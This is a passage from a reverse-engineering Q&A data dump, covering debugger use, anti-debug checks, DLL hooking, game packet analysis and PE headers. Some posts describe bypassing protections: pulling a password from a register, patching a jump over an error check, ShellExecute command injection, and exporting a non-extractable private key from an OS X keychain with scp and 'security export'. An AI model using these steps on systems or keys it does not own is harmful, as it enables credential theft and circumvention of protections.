  <row Id="6022" PostTypeId="2" ParentId="6003" CreationDate="2014-08-05T14:15:37.827" Score="9" Body="&lt;p&gt;I wrote &lt;a href=&quot;https://github.com/REMath/implementations/blob/master/code_examples/plot_hex.py&quot;&gt;https://github.com/REMath/implementations/blob/master/code_examples/plot_hex.py&lt;/a&gt; which implements the ngram method presented Conti as well as a clustering component to isolate visual properties. &lt;/p&gt;&#xA;" OwnerUserId="2642" LastActivityDate="2014-08-05T14:15:37.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6023" PostTypeId="2" ParentId="6018" CreationDate="2014-08-05T14:26:06.277" Score="4" Body="&lt;p&gt;To answer the original question, what you can do is to hook &lt;a href=&quot;http://doxygen.reactos.org/d8/d55/ldrutils_8c_a8fabcfb642b2788989401d1ac7cee130.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;LdrpCallInitRoutine&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;ntdll.dll&lt;/code&gt;. This function is used by DLL loading/unloading code to actually call the DLL entry point (&lt;code&gt;DllMain&lt;/code&gt;) and also the TLS callbacks. The first argument is the address to be called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOLEAN NTAPI LdrpCallInitRoutine(PDLL_INIT_ROUTINE EntryPoint, PVOID BaseAddress, ULONG Reason, PVOID Context);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-08-05T19:09:34.163" LastActivityDate="2014-08-05T19:09:34.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6024" PostTypeId="1" AcceptedAnswerId="6025" CreationDate="2014-08-05T18:18:22.163" Score="-2" ViewCount="1543" Body="&lt;p&gt;While reading a book it mentioned that the following code is usually used to as an antidebugger &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax,   large fs:18h&#xA;mov     eax,   [eax+30h]&#xA;movzx   eax,   byte ptr [eax+2]&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand what are the keywords &lt;code&gt;large&lt;/code&gt; , &lt;code&gt;byte&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt; and &lt;code&gt;retn&lt;/code&gt;. I am new learner of assembly and its usage in malware.&lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="53" LastEditDate="2014-08-06T16:53:09.800" LastActivityDate="2014-08-06T16:53:09.800" Title="How does this test for debugger" Tags="|assembly|malware|anti-debugging|" AnswerCount="1" CommentCount="4" ClosedDate="2014-08-06T06:12:56.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostTypeId="2" ParentId="6024" CreationDate="2014-08-05T23:02:36.283" Score="8" Body="&lt;p&gt;The syntax is incorrect, but the code is basically what IsDebuggerPresent does.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a pointer to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Thread_Environment_Block&quot; rel=&quot;nofollow&quot;&gt;TEB&lt;/a&gt; (located at fs:18h)&lt;/li&gt;&#xA;&lt;li&gt;Get a pointer to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Process_Environment_Block&quot; rel=&quot;nofollow&quot;&gt;PEB&lt;/a&gt; (located at teb+30h)&lt;/li&gt;&#xA;&lt;li&gt;Check the BeingDebugged flag (located at peb+2)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The syntax should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, large fs:18h&#xA;mov     eax, [eax+30h]&#xA;movzx   eax, byte ptr [eax+2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't understand assembler syntax, though, you're generally going to have a bad time when analyzing malware.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2014-08-06T11:48:09.063" LastActivityDate="2014-08-06T11:48:09.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostTypeId="1" AcceptedAnswerId="6028" CreationDate="2014-08-06T08:22:41.997" Score="-3" ViewCount="1195" Body="&lt;p&gt;I am newbie in IDA Pro. I have a basic question, what is the difference between instruction and function in IDA Pro? Is function contains some instructions on it ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="8239" LastActivityDate="2014-08-06T19:21:57.617" Title="Difference between Instruction and Function in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostTypeId="2" ParentId="5989" CreationDate="2014-08-06T09:27:42.743" Score="1" Body="&lt;p&gt;Not sure which of the above answers I should accept. I'll just report here what worked for me, using just IDA:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since the main window and main menu already exist upon firing up the program, I looked for a breakpoint that has the password challenge dialog as its downstream. In this case, it was a FileOpen subroutine.&lt;/li&gt;&#xA;&lt;li&gt;Clicking the File -&gt; Open menu item and choosing the password protected file causes the breakpoint to be hit, pausing the execution of the program.&lt;/li&gt;&#xA;&lt;li&gt;Keep on stepping over until the password challenge dialog box pops up.&lt;/li&gt;&#xA;&lt;li&gt;Backtrack by setting last executed instruction as breakpoint.&lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 2 to 4 until the code firing up the dialog box is identified.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Checking for strings such as &quot;check&quot;, &quot;password&quot; and other prospective keywords didn't work as they're nowhere to be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, in the course of the process, a subroutine labeled as &quot;chk_pass&quot; was encountered, and I was able to extract the password from the EDX register at which the password was momentarily stored.&lt;/p&gt;&#xA;" OwnerUserId="8188" LastActivityDate="2014-08-06T09:27:42.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostTypeId="2" ParentId="6026" CreationDate="2014-08-06T09:34:37.270" Score="2" Body="&lt;p&gt;An instruction is bytes that can be decoded. They may or may not be real instruction by virtue of not being called. Might be data that looks like possible code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions is instructions that have been indicated are called and this is the start. The indication might be a user action like pressing &lt;kbd&gt;P&lt;/kbd&gt; or &lt;kbd&gt;auto analysis&lt;/kbd&gt; following call locations in other code/functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, in either case you can tell IDA that something is or is not code or functions. The only trick is if some bytes of a function are not valid instructions, then IDA will not lets you create a function. &lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-08-06T19:21:57.617" LastActivityDate="2014-08-06T19:21:57.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6029" PostTypeId="1" AcceptedAnswerId="6030" CreationDate="2014-08-06T15:59:41.050" Score="0" ViewCount="1165" Body="&lt;p&gt;I disassembled a C# program with ildasm and modified the il code to my needs but now when i try to assemble it back into an exe i get these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot compile native/unmanaged method&#xA;Local (embedded native) PInvoke method, the resulting PE file is unusable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have generated a snk file and tried to use that with ilasm but i still get the same errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: These errors were given by ilasm when i try to reassemble the .il file. I also tried to edit the code in Reflector but after editing and trying to save it says that it cannot save mixed mode assemblies. Maybe i would be able to edit the binary in HEX editor?&lt;/p&gt;&#xA;" OwnerUserId="2072" LastEditorUserId="2072" LastEditDate="2014-08-08T12:11:54.637" LastActivityDate="2014-08-09T20:20:08.907" Title="Cannot compile native/unmanaged method" Tags="|c#|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6030" PostTypeId="2" ParentId="6029" CreationDate="2014-08-06T17:50:21.987" Score="2" Body="&lt;p&gt;Depending how extensive your modifications are, the way I've always done it was to only compile the snippet you want to inject (or manually convert the OpCodes) and patch the existing binary rather than recompile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, IlSpy may be easier for what you want as you can simply go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.net binary &gt; c# decompiled &gt; .net binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ilspy.net&quot; rel=&quot;nofollow&quot;&gt;http://ilspy.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8242" LastActivityDate="2014-08-06T17:50:21.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostTypeId="1" CreationDate="2014-08-07T01:52:49.600" Score="1" ViewCount="1029" Body="&lt;p&gt;I have written a small dll that detours the function that decrypts and encrypts game packets allowing me to see the packets being sent and received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packets like login are easy to structure because it usually only contains username and password, character selection too is somewhat easy, some in-game packets like movement is also easy to understand because it just contains some x, y data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But problem is there is a few other packets that are more than 1000 bytes long and there is really no way of knowing what each byte mean, like let us say the packet received as soon as you enter the world. Few parts of the packet is showing characterId, name, some stats, inventory data but there are some parts that are just &lt;code&gt;00 00 00 00&lt;/code&gt; and I don't know what to make of them of even if how many bytes they are actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when hooking the client with olly, I try to step through when receiving packets to find where it actually structures the bytes. But to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is there a better way to finding how many bytes are structured on the packet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Login Packet&#xA;char 16 &#xA;char 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesnt matter really what is it for, as long as I know how many bytes it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saw &lt;a href=&quot;http://resources.infosecinstitute.com/reverse-engineering-structures/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; but in IDA... will try later and give feedback here.&lt;/p&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2014-08-07T02:21:53.233" LastActivityDate="2020-11-24T16:38:22.903" Title="Understanding packet byte structures with OllyDbg" Tags="|ida|disassembly|ollydbg|binary-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6032" PostTypeId="2" ParentId="6031" CreationDate="2014-08-07T07:34:50.643" Score="3" Body="&lt;p&gt;You may try set memory breakpoint on access (read/write) on this data  and  see how program  parse this bytes. (set breakpoint in dump window,  press F9, wait when program stop, analyze program behavior -&gt; f8 f8 f8 f8 f8 ...) .  I am recommend use  OllyDbg 2.01 - this is version has color highlight for breaks in dump window.&#xA;sorry for my bad english&lt;/p&gt;&#xA;" OwnerUserId="4669" LastActivityDate="2014-08-07T07:34:50.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6033" PostTypeId="2" ParentId="6031" CreationDate="2014-08-07T08:30:14.633" Score="2" Body="&lt;p&gt;Keep in mind that buffer after recv command might contain several packets ( or just part of one packet ).&#xA;PS: most of games have similar packets structure, like:&#xA;[packet id][len][crc][..data..]&#xA;So, after receiving first packet, you are able to split all raw data in future to separate packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my mind your 1000 bytes+ packet might be a list of mobs\items on the map, their movement etc.&lt;/p&gt;&#xA;" OwnerUserId="3209" LastActivityDate="2014-08-07T08:30:14.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6035" PostTypeId="2" ParentId="5968" CreationDate="2014-08-07T09:51:08.933" Score="0" Body="&lt;p&gt;As Jason already mentioned, everything depends on file. But I want to say something more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And, imagine that you can gain control over the Parameters argument.&#xA;  Does that mean it is exploitable ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the same manner control of other &lt;code&gt;ShellExecute&lt;/code&gt; parameters &lt;em&gt;might&lt;/em&gt; be gain... You probably understand why I said &lt;em&gt;might&lt;/em&gt;, not &lt;em&gt;can&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't included info in question, but I think you meant that control of &lt;code&gt;parameters&lt;/code&gt; is gained editing executable. If so there is such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine file is &lt;code&gt;cmd.exe&lt;/code&gt; and you can control parameters, but in app parameter is &lt;code&gt;C:\file.txt&lt;/code&gt; it has 11 characters, so you could change it into some other up-to 11 characters parameter (if it is smaller then 11, you need to add &lt;code&gt;NULL&lt;/code&gt;s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in real situations &lt;code&gt;ShellExecute&lt;/code&gt; parameters are partially hard-coded and are build dynamically during program flow. So answering to your question, &lt;code&gt;ShellExecute&lt;/code&gt; is vulnerable to command injection, however, not every app that uses &lt;code&gt;ShellExecute&lt;/code&gt; could be taken as a target and actual injecting could be not so easy task.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2014-08-07T09:51:08.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6036" PostTypeId="1" CreationDate="2014-08-07T10:42:53.667" Score="3" ViewCount="127" Body="&lt;p&gt;It's some days I'm trying to understand how this protocol works without any success. I need some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm sniffing an UART signal. 115200 8N1 &#xA;I understood what's happening under the hood of the protocol. It is based on xor. Here are a couple of examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A0 82 00 01 02 14 81 6A 76 &#xA;A0 82 00 02 02 14 81 6A 75 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the 01 to 02 change is reflected to 76 to 75. The data is xor-ed nibble to nibble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's come the problem. The day after I turn on the system and I made another acquisition. Surprise the Checksum change. Apparently also the way the crc is calculated differ because not the bit to change are 2 and 3 of last byte.&#xA;the data changes from D0 =&gt; DC while before it was from 76 to 75.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A0 82 00 01 02 14 81 14 D0 &#xA;A0 82 00 02 02 14 81 14 DC &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, I discovered that in the full transmission I have a single message that is changing every time. It is a 5 byte message in the format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A0 07 0B 40 44&#xA;A0 07 EA 1B 58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2 messages just posted was taken from the 2 transmission taken before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the two A0 messages sends some type of CRC feed and some way for calculating it. Second strange thing, I don't understand what kind of CRC is applied in the first message. It looks strange that the message who need to fix a CRCc base seed is non CRC'ed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do somebody have some idea on what protocol could be? Something similar?&lt;/p&gt;&#xA;" OwnerUserId="8248" LastEditorUserId="53" LastEditDate="2014-08-07T12:26:49.817" LastActivityDate="2014-08-07T12:26:49.817" Title="CRC with OR but seed differ every time the protocol restart" Tags="|serial-communication|protocol|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostTypeId="1" AcceptedAnswerId="6039" CreationDate="2014-08-07T15:22:05.090" Score="5" ViewCount="6037" Body="&lt;p&gt;DOSbox compiled with &lt;code&gt;--enable-debug=heavy&lt;/code&gt; option becomes a powerful reversing tool. Anytime I feel like checking the disassembly and memory state I just hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Pause&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what if I want to see the very first instructions of the program ? How do I start the application so that it immediately enters debug mode before even starting execution ?&lt;/p&gt;&#xA;" OwnerUserId="3218" LastEditorUserId="53" LastEditDate="2014-08-07T17:38:17.100" LastActivityDate="2014-08-08T06:10:54.263" Title="How to start a DOS application in DOSbox in debug mode?" Tags="|disassembly|debugging|dos|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostTypeId="2" ParentId="5881" CreationDate="2014-08-08T00:20:06.573" Score="2" Body="&lt;p&gt;Here is a hack for now... I think it would be better to not allow for it to make backups... Which I can do but for now this will just allow the changes to take place and JMP over the error sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Origional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OFFSET 004BDBF7 :JNZ SHORT 004BDC1B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JMP 004BDC1B &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I almost feel bad for this cause there is has to be an option somewhere that I am not seeing. Not to mention the whole inception feeling of debugging a debugger running another process. 0.o...&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2014-08-08T00:20:06.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6039" PostTypeId="2" ParentId="6037" CreationDate="2014-08-08T03:15:58.037" Score="8" Body="&lt;p&gt;If you build with &lt;code&gt;--enable-debug[=heavy]&lt;/code&gt; and run the program via debug.com, it automatically breaks on the first instruction. See the &lt;code&gt;DOS_Execute&lt;/code&gt; function in &lt;a href=&quot;https://github.com/Henne/dosbox-svn/blob/master/src/dos/dos_execute.cpp#L479&quot; rel=&quot;noreferrer&quot;&gt;src/dos/dos_execute.cpp&lt;/a&gt; and &lt;code&gt;DEBUG_CheckExecuteBreakpoint&lt;/code&gt; in &lt;a href=&quot;https://github.com/Henne/dosbox-svn/blob/master/src/debug/debug.cpp#L2080&quot; rel=&quot;noreferrer&quot;&gt;src/debug/debug.cpp&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2014-08-08T06:10:54.263" LastActivityDate="2014-08-08T06:10:54.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6040" PostTypeId="1" AcceptedAnswerId="6041" CreationDate="2014-08-08T08:42:06.503" Score="22" ViewCount="7653" Body="&lt;p&gt;How to check if Windows executable is 64-bit reading only its binary. Without executing it and not using any tools like the SDK tool &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/c1h23y6c.aspx&quot;&gt;&lt;code&gt;dumpbin.exe&lt;/code&gt;&lt;/a&gt; with the &lt;code&gt;/headers&lt;/code&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="53" LastEditDate="2014-08-08T10:41:03.780" LastActivityDate="2019-08-04T08:44:59.537" Title="Check if exe is 64-bit" Tags="|windows|pe|executable|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6041" PostTypeId="2" ParentId="6040" CreationDate="2014-08-08T08:42:06.503" Score="26" Body="&lt;p&gt;Executable type is indicated by PE header, &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;download&lt;/a&gt; documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first word (two bytes) of PE header indicates target machine, here is a list of possible values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000 - The contents of this field are assumed to be applicable to any machine type&#xA;0x01d3 - Matsushita AM33&#xA;0x8664 - x64&#xA;0x01c0 - ARM little endian&#xA;0x01c4 - ARMv7 (or higher) Thumb mode only&#xA;0xaa64 - ARMv8 in 64-bit mode&#xA;0x0ebc - EFI byte code&#xA;0x014c - Intel 386 or later processors and compatible processors&#xA;0x0200 - Intel Itanium processor family&#xA;0x9041 - Mitsubishi M32R little endian&#xA;0x0266 - MIPS16&#xA;0x0366 - MIPS with FPU&#xA;0x0466 - MIPS16 with FPU&#xA;0x01f0 - Power PC little endian&#xA;0x01f1 - Power PC with floating point support&#xA;0x0166 - MIPS little endian&#xA;0x01a2 - Hitachi SH3&#xA;0x01a3 - Hitachi SH3 DSP&#xA;0x01a6 - Hitachi SH4&#xA;0x01a8 - Hitachi SH5&#xA;0x01c2 - ARM or Thumb (“interworking”)&#xA;0x0169 - MIPS little-endian WCE v2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to check if it is 64-bit, we need to look for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x8664 - x64&#xA;0xaa64 - ARMv8 in 64-bit mode&#xA;0x0200 - Intel Itanium processor family&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/8260/bob&quot;&gt;Bob&lt;/a&gt; mentioned, &lt;a href=&quot;ftp://ftp.openwatcom.org/pub/devel/docs/pecoff.pdf&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; is a list of some more machine types (see 11 pg.), however it is not very likely to find them.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-21T08:52:28.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostTypeId="1" CreationDate="2014-08-08T18:21:59.697" Score="5" ViewCount="3132" Body="&lt;p&gt;I want to run some python scripts on IDAFree 5.0. However, there is no pre-built IDAPython at &lt;a href=&quot;http://code.google.com/p/idapython/downloads/list&quot;&gt;http://code.google.com/p/idapython/downloads/list&lt;/a&gt; for this version. So, I was wondering if anyone can share the built version for either Windows or Linux platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: The building process from the scratch requires tools which are not provided for free by &lt;a href=&quot;https://www.hex-rays.com/index.shtml&quot;&gt;https://www.hex-rays.com/index.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8166" LastEditorUserId="1562" LastEditDate="2014-08-08T18:29:25.093" LastActivityDate="2015-02-19T22:32:06.857" Title="IDAPython for IDAFree 5.0" Tags="|ida|ida-plugin|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6043" PostTypeId="1" CreationDate="2014-08-08T22:30:21.763" Score="12" ViewCount="4887" Body="&lt;p&gt;&lt;strong&gt;I'm trying to extract a non-extractable private key as a &lt;code&gt;.p12&lt;/code&gt; file from &lt;code&gt;Keychain Access.app&lt;/code&gt;  or &lt;code&gt;/usr/bin/security&lt;/code&gt; on Mac OS X 10.9.4.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Basically, it appears that &lt;a href=&quot;https://stackoverflow.com/questions/25109994/non-extractable-private-key-in-keychain-on-os-x&quot;&gt;&lt;code&gt;security import&lt;/code&gt; has a &lt;code&gt;-x&lt;/code&gt; option to specify that &lt;code&gt;private keys are non-extractable after being imported&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.apple.com/source/SecurityTool/SecurityTool-55115/keychain_import.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.apple.com/source/SecurityTool/SecurityTool-55115/keychain_import.c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecImportExport.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecImportExport.h&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As per above, this is implemented by explicitly omitting &lt;code&gt;CSSM_KEYATTR_EXTRACTABLE&lt;/code&gt; during the import.  Subsequently, when trying to export, the key without such an attribute cannot be exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could find at least two relevant mentions which appear to prevent such keys from being exported (hint: use &lt;code&gt;fgrep -OR&lt;/code&gt; to avoid following the symbolic links when searching through Apple source code):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecImportExportCrypto.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecImportExportCrypto.cpp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_pkcs12/lib/pkcs12Crypto.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_pkcs12/lib/pkcs12Crypto.cpp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://apple.stackexchange.com/questions/140890/non-extractable-private-key-in-keychain-access-app&quot;&gt;I've tried keychain_access from github.com/torsten&lt;/a&gt;, but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/64323/export-non-extractable-private-key-from-keychain-on-os-x&quot;&gt;I've tried using lldb&lt;/a&gt;, &lt;code&gt;lldb -- security export -t identities -f pkcs12 -o /tmp/mycerts.p12&lt;/code&gt;, to break on &lt;a href=&quot;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecWrappedKeys.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;SecWrappedKeys.cpp::impExpWrappedKeyOpenSslExport()&lt;/a&gt;, but that doesn't seem to work, either, with &lt;code&gt;break impExpWrappedKeyOpenSslExport&lt;/code&gt; giving out an error &lt;code&gt;invalid command 'breakpoint impExpWrappedKeyOpenSslExport'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/25088786/track-every-system-and-external-library-call-on-an-os-x-app&quot;&gt;I've tried DTrace&lt;/a&gt; to trace Cisco AnyConnect, but I'm not familiar enough with DTrace for it to reveal the datastructures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/25152504/include-files-not-found-in-apple-open-source-software&quot;&gt;I've tried re-compiling&lt;/a&gt; the Security and SecurityTool packages, but they all appear to require bootstrapping that does not appear to be in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the private key?&lt;/p&gt;&#xA;" OwnerUserId="1839" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2018-12-27T00:30:37.997" Title="Extract non-extractable private key from OS X Keychain" Tags="|binary-analysis|debuggers|file-format|osx|compilers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostTypeId="2" ParentId="6043" CreationDate="2014-08-09T05:01:20.460" Score="6" Body="&lt;p&gt;I've arrived at a solution by researching an answer for one of my Keychain subquestions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/25109994/non-extractable-private-key-in-keychain-on-os-x&quot;&gt;https://stackoverflow.com/questions/25109994/non-extractable-private-key-in-keychain-on-os-x&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;According to SecItem.h, this &lt;strong&gt;&lt;code&gt;kSecAttrIsExtractable&lt;/code&gt;&lt;/strong&gt; has been introduced with OS X 10.6.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecItem.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.apple.com/source/Security/Security-55471.14/libsecurity_keychain/lib/SecItem.h&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As such, I've tried and succeeded in the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;scp ~/Library/Keychains/login.keychain&lt;/code&gt; from OS X 10.9 to OS X 10.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On OS X 10.5, as per the example from the manual page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;security export -k /tmp/login.keychain -t identities -f pkcs12 -o /tmp/mycerts.p12&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;security&lt;/code&gt; app will ask you for several passwords:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the new password from the first dialogue is to protect the p12 that's being 